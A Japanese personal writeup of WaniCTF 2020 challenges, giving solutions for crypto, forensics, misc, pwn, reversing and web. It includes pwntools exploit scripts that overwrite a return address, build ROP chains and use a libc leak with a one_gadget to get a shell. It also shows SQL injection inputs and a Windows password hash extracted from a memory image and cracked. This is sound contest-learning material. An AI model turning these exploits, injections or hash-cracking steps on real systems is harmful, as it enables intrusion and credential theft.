WaniCTF 2020 Writeup

Mon Nov 23 2020

    11/21-23 に開催された WaniCTF 2020 に参加しました。初心者向けの問題が多く、気軽に解けて楽しかったです。 結果は 10th / 229 でした。初めての top10 です。グラフにも名前が載ってちょっと嬉しい。

    pwn のボス問であるヒープ問だけ解けなかったのですが、現在精進中なのでやむなし… 難易度 Normal 以上の問題について writeup を書きます。

    Crypto

    Basic RSA

    計算するだけでした。

    1問目 p,qp, q が与えられているので n=pqn = pq を計算。

    2問目 m,e,nm, e, n が与えられているので cmemodnc \equiv m^e \mod n を計算。

    3問目 p,q,cp, q, c が与えられているので、 Φ=(p1)(q1)\Phi = (p-1)(q-1) の法のもとで d=c1d = c^{-1} を計算、つづいて mcdmodnm \equiv c^d \mod n を計算。

    FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}

    LCG crack

    線形合同法の問題。 https://mitsu-mitsu.hatenablog.com/entry/2019/03/11/210128 を参考にし、愚直に実装しました。

    from functools import reduce
    
    from Crypto.Util.number import *
    from pwn import *
    
    p = remote("lcg.wanictf.org", 50001)
    
    
    def generate():
        p.sendlineafter("> ", "1")
        return int(p.recvline().strip())
    
    
    N = 8
    numbers = [generate() for _ in range(N)]
    diffs = [numbers[i + 1] - numbers[i] for i in range(len(numbers) - 1)]
    m_multi = []
    for i in range(N - 3):
        m_multi.append(diffs[i + 0] * diffs[i + 2] - diffs[i + 1] * diffs[i + 1])
    
    m = reduce(GCD, m_multi)
    diff0_inv = inverse(diffs[0], m)
    a = diffs[1] * diff0_inv % m
    b = (numbers[1] - a * numbers[0]) % m
    
    
    class RNG:
        def __init__(self, seed, a, b, m):
            self.a = a
            self.b = b
            self.m = m
            self.x = seed % m
    
        def next(self):
            self.x = (self.a * self.x + self.b) % self.m
            return self.x
    
    
    rng = RNG(numbers[-1], a, b, m)
    p.sendlineafter("> ", "2")
    for _ in range(10):
        p.sendlineafter("> ", str(rng.next()))
    p.interactive()

    FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}

    l0g0n

    おそらく出題ミス? Challenge や Credential に対して何も与えない (enter を押すだけ) でフラグが得られました。 FLAG{[email protected]_IV_leads_t0_CVSS_10.0__z3r01090n}

    Forensics

    ALLIGATOR_02

    基本的に https://github.com/volatilityfoundation/volatility/wiki/Command-Reference を参考にしてコマンドを探しました。 volatility -f ALLIGATOR.raw imageinfo で profile をサジェストしてもらい (Win7SP1x86_23418 を選んだ)、volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles

    C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt
    FLAG{y0u_4re_c0n50les_master}
    

    という操作がされているのが確認できました。

    ALLIGATOR_03

    https://samsclass.info/121/proj/p4-Volatility.htm を参考にしました。

    • volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hivelist で \REGISTRY\MACHINE\SYSTEM が 0x8781a008 \SystemRoot\System32\Config\SAM が 0x93791458 にあることを確認。
    • volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hashdump -y 0x8781a008 -s 0x93791458ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590::: のユーザーデータを入手
    • https://crackstation.net/5e7a211fee4f7249f9db23e4a07d7590 を復元。 password が ilovewani であることがわかる。
    • zip を以上の password で解凍

    FLAG{The_Machikane_Crocodylidae}

    zero size png

    IHDR のサイズ情報が 0 埋めされてしまっている画像データが渡されるので、そのサイズを復元する問題。 ファイルの容量から考えると 1000x1000 以下のサイズになりそうだったため、全サイズに対して IHDR チャンクの CRC が正しい値になるものを探し、その値を画像に書き込みました。

    import binascii
    
    from Crypto.Util.number import *
    
    with open("./dyson.png", "rb") as f:
        buf = f.read()
    
    crc = buf[29: 33]
    for i in range(1000):
        for j in range(1000):
            tmp = buf[12: 16] + long_to_bytes(i).rjust(4, b"\x00") + long_to_bytes(j).rjust(4, b"\x00") + buf[24: 29]
            if crc == long_to_bytes(binascii.crc32(tmp)):
                print(hex(i), hex(j))

    FLAG{Cyclic_Redundancy_CAT}

    Misc

    MQTT Challenge

    適当にググると、 # で全トピックをサブスクライブできることがわかったため、全部を垂れ流しました。ダミーフラグも何個かありましたが、 /top/secret/himitu/daiji/mitara/dame/zettai/flag のトピックから正しいフラグが流れてきました。

    FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}

    Pwn

    ret rewrite

    サンプルコードがあってとても親切。 return address を over flow で書き換える問題でした。

    import pwn
    
    io = pwn.remote("ret.wanictf.org", 9005)
    
    ret = io.readuntil("What's your name?: ")
    
    addr = 0x00400838
    s = b"A" * 22
    s += pwn.p64(addr)
    
    io.send(s)
    io.interactive()

    FLAG{1earning-how-return-address-w0rks-on-st4ck}

    rop func call

    ROP で system("/bin/sh", 0) を呼ぶ問題。 pwntools の ROP は便利。

    from pwn import *
    
    p = remote("rop.wanictf.org", 9006)
    elf = ELF("./pwn06")
    context.binary = elf
    
    payload = b""
    payload += b"A"*22
    rop = ROP(elf)
    rop.call("system", [elf.symbols["binsh"], 0])
    payload += rop.chain()
    print(rop.dump())
    p.sendlineafter("name?: ", payload)
    p.interactive()

    FLAG{learning-rop-and-x64-system-call}

    one gadget rce

    ROP で、

    • puts 関数の libc アドレスを puts で表示
    • main 関数に戻る
    • one_gadget libc-2.27.so0x4f432 が /bin/sh として使えそうなことがわかったため、そこへ飛ぶ

    ということをやりました。

    from pwn import *
    
    p = remote("rce.wanictf.org", 9007)
    elf = ELF("./pwn07")
    context.binary = elf
    libc = ELF("./libc-2.27.so")
    payload = b""
    offset = b"A" * 22
    payload += offset
    rop = ROP(elf)
    rop.raw(rop.find_gadget(["pop rdi", "ret"]))
    rop.raw(elf.got["puts"])
    rop.raw(elf.plt["puts"])
    rop.call("main")
    print(rop.dump())
    
    p.sendlineafter(b"name?: ", payload+rop.chain())
    p.recvuntil("dump***\n\n")
    puts_libc_address = p.recvline().strip()
    puts_libc_address = unpack(puts_libc_address.ljust(8, b"\x00"))
    rce_address = puts_libc_address - libc.symbols["puts"] + 0x4f432
    p.sendlineafter(b"name?: ", offset+pack(rce_address))
    
    p.interactive()

    FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}

    Reversing

    simple

    radare2 で main 関数をのぞくと、 flag を local 変数に直接代入しているのが見えました。

    FLAG{5imp1e_Revers1ng_4rray_5trings}

    complex

    check 関数が main 関数から 20回呼び出され、i回目の呼び出し時に check_i が呼ばれます。 check 関数の返り値が 0 ならば続行、 1 ならば Incorrect、 2 ならば Correct です。 check_i 関数をそれぞれみていくと、 check_13 だけ返り値が 2 だったため、これについて詳細に見ました。

    動作を追っていくと、 FLAG xor KEY = VALUE となるかをチェックしていることがわかったので、 KEY と VALUE に当たる値を gdb を動かして取ってきて、 FLAG を計算させました。

    from Crypto.Util.number import *
    
    
    key_13 = [0x37, 0x36, 0x33, 0x31, 0x34, 0x39, 0x31, 0x31,
              0x35, 0x32, 0x39, 0x37, 0x38, 0x31, 0x35, 0x34,
              0x36, 0x36, 0x34, 0x36, 0x38, 0x31, 0x35, 0x36,
              0x34, 0x33, 0x35, 0x31, 0x31, 0x30, 0x34, 0x38,
              0x35, 0x34, 0x32, 0x34, 0x37, 0x00, 0x00, 0x00,
              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
              0xb0, 0xd7, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00,
              0x36, 0x5b, 0x55, 0x55, 0x55, 0x55, 0x00, 0x00]
    
    check_13 = [0x53, 0x5f, 0x57, 0x6e, 0x4d, 0x56, 0x44, 0x6e,
                0x47, 0x57, 0x58, 0x5b, 0x54, 0x48, 0x6a, 0x57,
                0x5e, 0x53, 0x57, 0x5d, 0x67, 0x45, 0x5d, 0x53,
                0x6b, 0x41, 0x50, 0x45, 0x44, 0x42, 0x5a, 0x67,
                0x43, 0x55, 0x5e, 0x41, 0x52, 0x00, 0x00, 0x00,
                0x00, 0x01, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
                0x37, 0x36, 0x33, 0x31, 0x34, 0x39, 0x31, 0x31,
                0x35, 0x32, 0x39, 0x37, 0x38, 0x31, 0x35, 0x34]
    
    ans = []
    for k, c in zip(key_13, check_13):
        ans.append(long_to_bytes(k ^ c))
    print(b"".join(ans[: 43-6]))

    FLAG{did_you_really_check_the_return_value}

    static

    解析しようとしてもとても読みづらくなっています… ヒントにある通り strings でみると、 upx が使われていることがわかりました。 upx -d static をしたあとで解析していきます。 strip されているのでちょっとやりづらいですが、基本的には "complex" の問題と同じようなことがされていることがわかります。なので↑の writeup と同様に gdb で動かしつつ必要な値を持ってきて xor を計算させました。

    from Crypto.Util.number import *
    
    key = [0xb9, 0xd9, 0xc1, 0x63, 0xd1, 0x1b, 0x3f, 0x38,
           0xa4, 0xdd, 0x07, 0x41, 0xea, 0x1f, 0x84, 0x34,
           0x0c, 0xf5, 0xbd, 0x3e, 0xeb, 0x55, 0x56, 0x31,
           0x3a, 0x05, 0xef, 0x4d, 0x26, 0xeb, 0xfd, 0x1b,
           0xca, 0x8f, 0x11, 0x24, 0x9c, 0x98, 0x22, 0x27,
           0x83, 0xb5, 0xbc, 0x7a, 0x05, 0x63, 0x46, 0x09,
           0x61, 0xb0, 0x99, 0x77, 0xc3, 0x89, 0x22, 0x17,
           0xfc, 0x25, 0x1a, 0x40, 0x89, 0x61, 0xce, 0x39,
           0xc1, 0x69, 0xec, 0x56, 0xd2, 0x1f, 0x6f, 0x10,
           0xb6, 0x40, 0xfc, 0x77, 0xc2, 0xae, 0x28, 0x48,
           0x83, 0xba, 0x52, 0x22, 0xa2, 0x5d, 0x93, 0x45,
           0xfe, 0xbd, 0x65, 0x75, 0x9f, 0x40, 0xe2, 0x5a,
           0x72, 0xd6, 0xed, 0x20, 0x35, 0x24, 0x36, 0x47,
           0xb5, 0xfc, 0x61, 0x0b, 0xde, 0x07, 0x76, 0x7c,
           0x0d, 0x73, 0xf7, 0x6c, 0x8a, 0x62, 0x22, 0x52,
           0xa8, 0x31, 0xe1, 0x5e, 0xc6, 0x4c, 0xb9, 0x50,
           0x5b, 0x7e, 0x61, 0x0a, 0x4c, 0x0f, 0xe9, 0x1f,
           0xb0, 0x6c, 0x3d, 0x05, 0x68, 0x73, 0x1f, 0x49,
           0x37, 0x65, 0x3f, 0x51, 0xea, 0x71, 0x2c, 0x53,
           0x8e, 0x5e, 0x1d, 0x65, 0x02, 0xf5, 0x50, 0x75,
           0x87, 0x0a, 0x4f, 0x7a, 0x11, 0x14, 0xda, 0x5f,
           0x07, 0x58, 0x97, 0x7e, 0xe8, 0xba, 0xe8, 0x71,
           0xd4, 0x9d, 0xfc, 0x76, 0x04, 0x7e, 0xb1, 0x3e,
           0x71, 0x1c, 0xb7, 0x2b, 0x96, 0x07, 0xe9, 0x4d,
           0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
           0x00, 0x07, 0x5d, 0x58, 0xd5, 0x55, 0xda, 0x1e,
           0x10, 0xd8, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00,
           0xd9, 0x0f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
           0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
           0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
           0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
           0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]
    
    check = [0xcb, 0xd9, 0xc1, 0x63, 0xb2, 0x1b, 0x3f, 0x38,
             0x90, 0xdd, 0x07, 0x41, 0xb5, 0x1f, 0x84, 0x34,
             0x38, 0xf5, 0xbd, 0x3e, 0x85, 0x55, 0x56, 0x31,
             0x5e, 0x05, 0xef, 0x4d, 0x79, 0xeb, 0xfd, 0x1b,
             0xf9, 0x8f, 0x11, 0x24, 0xe8, 0x98, 0x22, 0x27,
             0xe2, 0xb5, 0xbc, 0x7a, 0x71, 0x63, 0x46, 0x09,
             0x08, 0xb0, 0x99, 0x77, 0xa0, 0x89, 0x22, 0x17,
             0xa3, 0x25, 0x1a, 0x40, 0xb8, 0x61, 0xce, 0x39,
             0xa8, 0x69, 0xec, 0x56, 0xbc, 0x1f, 0x6f, 0x10,
             0xdd, 0x40, 0xfc, 0x77, 0x9d, 0xae, 0x28, 0x48,
             0xb7, 0xba, 0x52, 0x22, 0xcc, 0x5d, 0x93, 0x45,
             0x9a, 0xbd, 0x65, 0x75, 0xc0, 0x40, 0xe2, 0x5a,
             0x01, 0xd6, 0xed, 0x20, 0x02, 0x24, 0x36, 0x47,
             0xc7, 0xfc, 0x61, 0x0b, 0xb7, 0x07, 0x76, 0x7c,
             0x7d, 0x73, 0xf7, 0x6c, 0xfa, 0x62, 0x22, 0x52,
             0x9b, 0x31, 0xe1, 0x5e, 0xa2, 0x4c, 0xb9, 0x50,
             0x04, 0x7e, 0x61, 0x0a, 0x3c, 0x0f, 0xe9, 0x1f,
             0x81, 0x6c, 0x3d, 0x05, 0x1d, 0x73, 0x1f, 0x49,
             0x44, 0x65, 0x3f, 0x51, 0xb5, 0x71, 0x2c, 0x53,
             0xfb, 0x5e, 0x1d, 0x65, 0x72, 0xf5, 0x50, 0x75,
             0xff, 0x0a, 0x4f, 0x7a, 0x4e, 0x14, 0xda, 0x5f,
             0x77, 0x58, 0x97, 0x7e, 0x89, 0xba, 0xe8, 0x71,
             0xb7, 0x9d, 0xfc, 0x76, 0x6f, 0x7e, 0xb1, 0x3e,
             0x42, 0x1c, 0xb7, 0x2b, 0xf2, 0x07, 0xe9, 0x4d,
             0xb9, 0xd9, 0xc1, 0x63, 0xd1, 0x1b, 0x3f, 0x38,
             0xa4, 0xdd, 0x07, 0x41, 0xea, 0x1f, 0x84, 0x34,
             0x0c, 0xf5, 0xbd, 0x3e, 0xeb, 0x55, 0x56, 0x31,
             0x3a, 0x05, 0xef, 0x4d, 0x26, 0xeb, 0xfd, 0x1b,
             0xca, 0x8f, 0x11, 0x24, 0x9c, 0x98, 0x22, 0x27,
             0x83, 0xb5, 0xbc, 0x7a, 0x05, 0x63, 0x46, 0x09,
             0x61, 0xb0, 0x99, 0x77, 0xc3, 0x89, 0x22, 0x17,
             0xfc, 0x25, 0x1a, 0x40, 0x89, 0x61, 0xce, 0x39]
    
    ans = []
    for k, c in zip(key, check):
        ans += chr(k ^ c)
    print(f'FLAG{{{"".join(ans[:48*4:4])}}}')

    FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}

    Web

    SQL Challenge 1

    space が使えないので、変わりに " で括ってあげました。

    https://sql1.wanictf.org/index.php?year="2011"OR"1" で全データが出力されます。

    FLAG{53cur3_5ql_a283b4dffe}

    SQL Challenge 2

    英数字のみしか許容されていない SQLi の問題で、 hex や base64 を使うのかなとずっと悩んでいたけれどその方針ではできませんでした。 year=0 とすると、 year が数字となっていないデータはキャストで0にされるらしく、フラグが表示されました。 year が数字になっていなかったらどうすればよかったのだろう…

    FLAG{5ql_ch4r_cf_ca87b27723}